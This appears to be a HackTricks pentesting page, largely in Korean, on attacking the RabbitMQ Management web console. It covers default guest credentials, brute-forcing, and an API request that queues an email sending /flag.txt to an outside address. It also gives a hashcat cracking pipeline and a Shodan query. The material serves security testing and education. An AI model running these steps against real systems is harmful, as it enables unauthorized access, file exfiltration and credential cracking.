# 15672 - Pentesting RabbitMQ Management {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} ## Basic Information RabbitMQ에 λŒ€ν•œ μžμ„Έν•œ λ‚΄μš©μ€ [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md)μ—μ„œ 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.\ 이 ν¬νŠΈμ—μ„œλŠ” [management plugin](https://www.rabbitmq.com/management.html)이 ν™œμ„±ν™”λ˜μ–΄ 있으면 RabbitMQ Management μ›Ή μ½˜μ†”μ„ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€.\ 메인 νŽ˜μ΄μ§€λŠ” λ‹€μŒκ³Ό κ°™μ•„μ•Ό ν•©λ‹ˆλ‹€: ![](<../.gitbook/assets/image (336).png>) ## Enumeration κΈ°λ³Έ 자격 증λͺ…은 "_**guest**_":"_**guest**_". μž‘λ™ν•˜μ§€ μ•ŠλŠ” 경우 [**둜그인 브루트 포슀**](../generic-methodologies-and-resources/brute-force.md#http-post-form)λ₯Ό μ‹œλ„ν•΄ λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€. 이 λͺ¨λ“ˆμ„ μˆ˜λ™μœΌλ‘œ μ‹œμž‘ν•˜λ €λ©΄ λ‹€μŒμ„ μ‹€ν–‰ν•΄μ•Ό ν•©λ‹ˆλ‹€: ``` rabbitmq-plugins enable rabbitmq_management service rabbitmq-server restart ``` ν•œ 번 μ˜¬λ°”λ₯΄κ²Œ μΈμ¦ν•˜λ©΄ 관리 μ½˜μ†”μ„ λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€: ![](<../.gitbook/assets/image (441).png>) λ˜ν•œ, μœ νš¨ν•œ 자격 증λͺ…이 μžˆλŠ” 경우 `http://localhost:15672/api/connections`의 정보가 ν₯미둜울 수 μžˆμŠ΅λ‹ˆλ‹€. λ˜ν•œ, 이 μ„œλΉ„μŠ€μ˜ APIλ₯Ό μ‚¬μš©ν•˜μ—¬ λ‹€μŒκ³Ό 같은 μš”μ²­μœΌλ‘œ **큐 μ•ˆμ— 데이터λ₯Ό κ²Œμ‹œ**ν•˜λŠ” 것이 κ°€λŠ₯ν•©λ‹ˆλ‹€: ```bash POST /api/exchanges/%2F/amq.default/publish HTTP/1.1 Host: 172.32.56.72:15672 Authorization: Basic dGVzdDp0ZXN0 Accept: */* Content-Type: application/json;charset=UTF-8 Content-Length: 267 {"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"} ``` ## ν•΄μ‹œ ν¬λž˜ν‚Ή ```bash echo | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt hashcat -m 1420 --hex-salt hash.txt wordlist ``` ### Shodan * `port:15672 http`
**버그 λ°”μš΄ν‹° 팁**: **κ°€μž…ν•˜μ„Έμš”** **Intigriti**, 해컀λ₯Ό μœ„ν•΄ 해컀가 λ§Œλ“  프리미엄 **버그 λ°”μš΄ν‹° ν”Œλž«νΌ**! 였늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)μ—μ„œ 저희와 ν•¨κ»˜ν•˜κ³  μ΅œλŒ€ **$100,000**의 보상을 λ°›κΈ° μ‹œμž‘ν•˜μ„Έμš”! {% embed url="https://go.intigriti.com/hacktricks" %} {% hint style="success" %} AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§€μ›ν•˜κΈ° * [**ꡬ독 κ³„νš**](https://github.com/sponsors/carlospolop) ν™•μΈν•˜κΈ°! * **πŸ’¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λ˜λŠ” [**ν…”λ ˆκ·Έλž¨ κ·Έλ£Ή**](https://t.me/peass)에 κ°€μž…ν•˜κ±°λ‚˜ **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νŒ”λ‘œμš°ν•˜μ„Έμš”.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉƒν—ˆλΈŒ 리포지토리에 PR을 μ œμΆœν•˜μ—¬ ν•΄ν‚Ή νŠΈλ¦­μ„ κ³΅μœ ν•˜μ„Έμš”.**
{% endhint %}